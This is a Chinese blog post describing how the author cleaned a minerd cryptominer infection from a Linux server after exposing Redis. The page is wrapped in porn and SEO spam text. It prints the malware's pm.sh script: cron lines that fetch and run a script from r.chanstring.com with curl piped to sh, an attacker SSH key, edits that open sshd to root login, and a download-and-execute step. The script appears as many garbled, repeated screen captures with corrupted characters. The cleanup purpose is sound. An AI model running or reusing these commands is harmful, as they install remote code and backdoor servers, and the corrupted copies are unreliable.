国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 服務器 > Linux服務器 > 正文

linux中了minerd之后的完全清理過程(詳解)

2024-09-05 23:03:13
字體:
來源:轉載
供稿:網友

一不小心裝了一個Redis服務,開了一個全網的默認端口,一開始以為這臺服務器沒有公網ip,結果發(fā)現(xiàn)之后悔之莫及啊

某天發(fā)現(xiàn)cpu load高的出奇,發(fā)現(xiàn)一個minerd進程 占了大量cpu,google了一下,發(fā)現(xiàn)自己中招了

下面就是清理過程

第一步

1.立即停止redis服務,修改端口權限,增加密碼措施


2.按照網上的資料 刪除 crontab 里的兩個內容

sudo rm /var/spool/cron/root
sudo rm /var/spool/cron/crontabs/root

3.知己知彼,百戰(zhàn)不殆,研究病毒的初始話文件

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restart"pm.sh" 28L, 1470C                      10,1-8    頂端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spooll/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spooll/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITTshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kvv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1yy993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK755NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restart                                 10,1-8    頂端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rrootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/ccrontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOcc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm88gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBrro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; then                                    10,1-8    頂端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/roootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yWW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root"" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt@                                         10,1-8    頂端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/AAg1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txLL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNyytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK775NEOiq33 && /opt/KHK75NEOiq33 -Install    fifi                                                10,1-8    頂端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TTdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wwL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAddY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /oppt/KHK75NEOiq33 -Install    fifi/etc/init.d/ntp startps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9                                                       10,1-8    頂端export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Instaall    fifi/etc/init.d/ntp startps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9~~~~~                                                                  10,1-8    全部export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y9993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfiif [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install    fifi/etc/init.d/ntp startps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9

得到結果

1.刪除crontab的配置文件,如上我們已經刪除,涉及的代碼

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

2.刪除 這個是用來免密碼登陸的

rm -f ~/.ssh/authorized_keys*
rm -f ~/.ssh/KHK75NEOiq

你甚至可以直接把.ssh這個目錄刪除掉
涉及的代碼

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then    mkdir -p ~/.ssh    rm -f ~/.ssh/authorized_keys*    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y9993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config    /etc/init.d/sshd restartfi

3.刪除 /opt/這個目錄 這玩意是第四步的服務產生的

4.刪除服務

service ntp stop
rm /etc/init.d/ntp
rm /usr/sbin/ntp
涉及的代碼

if [ ! -f "/etc/init.d/ntp" ]; then    if [ ! -f "/etc/systemd/system/ntp.service" ]; then        mkdir -p /opt        curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install    fifi

如上的代碼,下載了一個8M的程序,是安裝了什么東西,樓主也不知道,但是接下來的代碼暴露了行蹤

/etc/init.d/ntp start

這行代碼啟動了ntp這個服務,百度搜了下說是個時間服務,其實這玩意是病毒服務,打開這個文件,找到可執(zhí)行文件/usr/sbin/ntp 發(fā)現(xiàn)文件和那個8m的文件一個字節(jié)不差

所以刪除這個文件

最后

ps aux|grep minerd

kill 掉所有的進程,ok修復結束

半小時之后

ps aux|grep minerd

minerd進程不再出現(xiàn)

以上就是小編為大家?guī)淼?u>linux中了minerd之后的完全清理過程(詳解)全部內容了,希望大家多多支持VEVB武林網~


發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 新乐市| 民权县| 周口市| 沙坪坝区| 铁岭市| 高雄县| 揭东县| 虎林市| 疏附县| 连云港市| 尚志市| 古田县| 阿拉善左旗| 辰溪县| 登封市| 岳普湖县| 阳江市| 股票| 荆门市| 花莲市| 新闻| 彰化县| 屯门区| 肥城市| 长寿区| 个旧市| 丹棱县| 五峰| 满城县| 永年县| 富源县| 竹溪县| 天镇县| 长顺县| 连州市| 黑水县| 交城县| 秦安县| 刚察县| 措勤县| 雅安市|